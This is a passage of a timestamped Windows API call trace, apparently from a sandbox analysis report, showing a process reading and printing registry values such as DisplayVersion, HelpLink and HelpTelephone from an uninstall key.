(lpString="DisplayVersion") returned 14 [0150.426] __iob_func () returned 0x7fefd702a80 [0150.426] _fileno (_File=0x7fefd702ab0) returned 1 [0150.426] _errno () returned 0x204bb0 [0150.426] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.426] _errno () returned 0x204bb0 [0150.426] GetFileType (hFile=0x50) returned 0x1 [0150.426] lstrlenW (lpString="DisplayVersion") returned 14 [0150.426] GetConsoleOutputCP () returned 0x1b5 [0150.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.426] GetConsoleOutputCP () returned 0x1b5 [0150.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.426] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.426] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.427] __iob_func () returned 0x7fefd702a80 [0150.427] _fileno (_File=0x7fefd702ab0) returned 1 [0150.427] _errno () returned 0x204bb0 [0150.427] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.427] _errno () returned 0x204bb0 [0150.427] GetFileType (hFile=0x50) returned 0x1 [0150.427] lstrlenW (lpString=" ") returned 4 [0150.427] GetConsoleOutputCP () returned 0x1b5 [0150.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.427] GetConsoleOutputCP () returned 0x1b5 [0150.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.427] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.427] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.427] __iob_func () returned 0x7fefd702a80 [0150.427] _fileno (_File=0x7fefd702ab0) returned 1 [0150.427] _errno () returned 0x204bb0 [0150.427] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.427] _errno () returned 0x204bb0 [0150.427] GetFileType (hFile=0x50) returned 0x1 [0150.427] lstrlenW (lpString="REG_SZ") returned 6 [0150.427] GetConsoleOutputCP () returned 0x1b5 [0150.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.427] GetConsoleOutputCP () returned 0x1b5 [0150.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.428] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.428] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.428] __iob_func () returned 0x7fefd702a80 [0150.428] _fileno (_File=0x7fefd702ab0) returned 1 [0150.428] _errno () returned 0x204bb0 [0150.428] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.428] _errno () returned 0x204bb0 [0150.428] GetFileType (hFile=0x50) returned 0x1 [0150.428] lstrlenW (lpString=" ") returned 4 [0150.428] GetConsoleOutputCP () returned 0x1b5 [0150.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.428] GetConsoleOutputCP () returned 0x1b5 [0150.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.428] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.428] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.428] __iob_func () returned 0x7fefd702a80 [0150.428] _fileno (_File=0x7fefd702ab0) returned 1 [0150.428] _errno () returned 0x204bb0 [0150.428] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.428] _errno () returned 0x204bb0 [0150.428] GetFileType (hFile=0x50) returned 0x1 [0150.428] lstrlenW (lpString="11.0.61030") returned 10 [0150.428] GetConsoleOutputCP () returned 0x1b5 [0150.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.429] GetConsoleOutputCP () returned 0x1b5 [0150.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.0.61030", lpUsedDefaultChar=0x0) returned 10 [0150.429] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.429] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.429] __iob_func () returned 0x7fefd702a80 [0150.429] _fileno (_File=0x7fefd702ab0) returned 1 [0150.429] _errno () returned 0x204bb0 [0150.429] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.429] _errno () returned 0x204bb0 [0150.429] GetFileType (hFile=0x50) returned 0x1 [0150.429] lstrlenW (lpString="\n") returned 1 [0150.429] GetConsoleOutputCP () returned 0x1b5 [0150.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.429] GetConsoleOutputCP () returned 0x1b5 [0150.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.429] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.429] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.429] GetProcessHeap () returned 0x3c0000 [0150.430] GetProcessHeap () returned 0x3c0000 [0150.430] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.430] GetProcessHeap () returned 0x3c0000 [0150.430] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1a [0150.430] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0150.430] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.430] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0150.430] GetProcessHeap () returned 0x3c0000 [0150.430] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0150.430] GetProcessHeap () returned 0x3c0000 [0150.430] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.430] GetProcessHeap () returned 0x3c0000 [0150.430] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0150.430] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x29f780*=0x5c) returned 0x0 [0150.430] __iob_func () returned 0x7fefd702a80 [0150.430] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.430] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.430] _fileno (_File=0x7fefd702ab0) returned 1 [0150.430] _errno () returned 0x204bb0 [0150.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.430] _errno () returned 0x204bb0 [0150.430] GetFileType (hFile=0x50) returned 0x1 [0150.430] lstrlenW (lpString=" ") returned 4 [0150.430] GetConsoleOutputCP () returned 0x1b5 [0150.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.430] GetConsoleOutputCP () returned 0x1b5 [0150.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.431] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.431] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.431] lstrlenW (lpString="HelpLink") returned 8 [0150.431] __iob_func () returned 0x7fefd702a80 [0150.431] _fileno (_File=0x7fefd702ab0) returned 1 [0150.431] _errno () returned 0x204bb0 [0150.431] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.431] _errno () returned 0x204bb0 [0150.431] GetFileType (hFile=0x50) returned 0x1 [0150.431] lstrlenW (lpString="HelpLink") returned 8 [0150.431] GetConsoleOutputCP () returned 0x1b5 [0150.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.431] GetConsoleOutputCP () returned 0x1b5 [0150.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0150.431] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.431] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.431] __iob_func () returned 0x7fefd702a80 [0150.431] _fileno (_File=0x7fefd702ab0) returned 1 [0150.431] _errno () returned 0x204bb0 [0150.431] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.431] _errno () returned 0x204bb0 [0150.431] GetFileType (hFile=0x50) returned 0x1 [0150.431] lstrlenW (lpString=" ") returned 4 [0150.431] GetConsoleOutputCP () returned 0x1b5 [0150.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.432] GetConsoleOutputCP () returned 0x1b5 [0150.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.432] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.432] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.432] __iob_func () returned 0x7fefd702a80 [0150.432] _fileno (_File=0x7fefd702ab0) returned 1 [0150.432] _errno () returned 0x204bb0 [0150.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.432] _errno () returned 0x204bb0 [0150.432] GetFileType (hFile=0x50) returned 0x1 [0150.432] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.432] GetConsoleOutputCP () returned 0x1b5 [0150.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.432] GetConsoleOutputCP () returned 0x1b5 [0150.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.432] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.432] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.432] __iob_func () returned 0x7fefd702a80 [0150.432] _fileno (_File=0x7fefd702ab0) returned 1 [0150.433] _errno () returned 0x204bb0 [0150.433] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.433] _errno () returned 0x204bb0 [0150.433] GetFileType (hFile=0x50) returned 0x1 [0150.433] lstrlenW (lpString=" ") returned 4 [0150.433] GetConsoleOutputCP () returned 0x1b5 [0150.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.433] GetConsoleOutputCP () returned 0x1b5 [0150.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.433] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.433] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.433] __iob_func () returned 0x7fefd702a80 [0150.433] _fileno (_File=0x7fefd702ab0) returned 1 [0150.433] _errno () returned 0x204bb0 [0150.433] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.433] _errno () returned 0x204bb0 [0150.433] GetFileType (hFile=0x50) returned 0x1 [0150.433] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0150.433] GetConsoleOutputCP () returned 0x1b5 [0150.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0150.433] GetConsoleOutputCP () returned 0x1b5 [0150.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0150.434] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0150.434] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.434] __iob_func () returned 0x7fefd702a80 [0150.434] _fileno (_File=0x7fefd702ab0) returned 1 [0150.434] _errno () returned 0x204bb0 [0150.434] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.434] _errno () returned 0x204bb0 [0150.434] GetFileType (hFile=0x50) returned 0x1 [0150.434] lstrlenW (lpString="\n") returned 1 [0150.434] GetConsoleOutputCP () returned 0x1b5 [0150.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.434] GetConsoleOutputCP () returned 0x1b5 [0150.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.434] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.434] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.434] GetProcessHeap () returned 0x3c0000 [0150.434] GetProcessHeap () returned 0x3c0000 [0150.434] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.434] GetProcessHeap () returned 0x3c0000 [0150.434] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0150.434] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.434] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.435] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.435] GetProcessHeap () returned 0x3c0000 [0150.435] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.435] GetProcessHeap () returned 0x3c0000 [0150.435] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.435] GetProcessHeap () returned 0x3c0000 [0150.435] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.435] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.435] __iob_func () returned 0x7fefd702a80 [0150.435] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.435] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.435] _fileno (_File=0x7fefd702ab0) returned 1 [0150.435] _errno () returned 0x204bb0 [0150.435] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.435] _errno () returned 0x204bb0 [0150.435] GetFileType (hFile=0x50) returned 0x1 [0150.435] lstrlenW (lpString=" ") returned 4 [0150.435] GetConsoleOutputCP () returned 0x1b5 [0150.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.435] GetConsoleOutputCP () returned 0x1b5 [0150.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.435] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.435] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.435] lstrlenW (lpString="HelpTelephone") returned 13 [0150.435] __iob_func () returned 0x7fefd702a80 [0150.435] _fileno (_File=0x7fefd702ab0) returned 1 [0150.435] _errno () returned 0x204bb0 [0150.435] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.436] _errno () returned 0x204bb0 [0150.436] GetFileType (hFile=0x50) returned 0x1 [0150.436] lstrlenW (lpString="HelpTelephone") returned 13 [0150.436] GetConsoleOutputCP () returned 0x1b5 [0150.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.436] GetConsoleOutputCP () returned 0x1b5 [0150.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0150.436] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.436] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.436] __iob_func () returned 0x7fefd702a80 [0150.436] _fileno (_File=0x7fefd702ab0) returned 1 [0150.436] _errno () returned 0x204bb0 [0150.436] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.436] _errno () returned 0x204bb0 [0150.436] GetFileType (hFile=0x50) returned 0x1 [0150.436] lstrlenW (lpString=" ") returned 4 [0150.436] GetConsoleOutputCP () returned 0x1b5 [0150.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.436] GetConsoleOutputCP () returned 0x1b5 [0150.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.437] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.437] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.437] __iob_func () returned 0x7fefd702a80 [0150.437] _fileno (_File=0x7fefd702ab0) returned 1 [0150.437] _errno () returned 0x204bb0 [0150.437] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.437] _errno () returned 0x204bb0 [0150.437] GetFileType (hFile=0x50) returned 0x1 [0150.437] lstrlenW (lpString="REG_SZ") returned 6 [0150.437] GetConsoleOutputCP () returned 0x1b5 [0150.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.437] GetConsoleOutputCP () returned 0x1b5 [0150.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.437] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.437] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.437] __iob_func () returned 0x7fefd702a80 [0150.437] _fileno (_File=0x7fefd702ab0) returned 1 [0150.437] _errno () returned 0x204bb0 [0150.437] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.437] _errno () returned 0x204bb0 [0150.437] GetFileType (hFile=0x50) returned 0x1 [0150.437] lstrlenW (lpString=" ") returned 4 [0150.437] GetConsoleOutputCP () returned 0x1b5 [0150.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.438] GetConsoleOutputCP () returned 0x1b5 [0150.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.438] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.438] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.438] __iob_func () returned 0x7fefd702a80 [0150.438] _fileno (_File=0x7fefd702ab0) returned 1 [0150.438] _errno () returned 0x204bb0 [0150.438] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.438] _errno () returned 0x204bb0 [0150.438] GetFileType (hFile=0x50) returned 0x1 [0150.438] lstrlenW (lpString="") returned 0 [0150.438] __iob_func () returned 0x7fefd702a80 [0150.438] _fileno (_File=0x7fefd702ab0) returned 1 [0150.438] _errno () returned 0x204bb0 [0150.438] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.438] _errno () returned 0x204bb0 [0150.438] GetFileType (hFile=0x50) returned 0x1 [0150.438] lstrlenW (lpString="\n") returned 1 [0150.438] GetConsoleOutputCP () returned 0x1b5 [0150.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.438] GetConsoleOutputCP () returned 0x1b5 [0150.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.439] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.439] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.439] GetProcessHeap () returned 0x3c0000 [0150.439] GetProcessHeap () returned 0x3c0000 [0150.439] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.439] GetProcessHeap () returned 0x3c0000 [0150.439] RtlSizeHeap 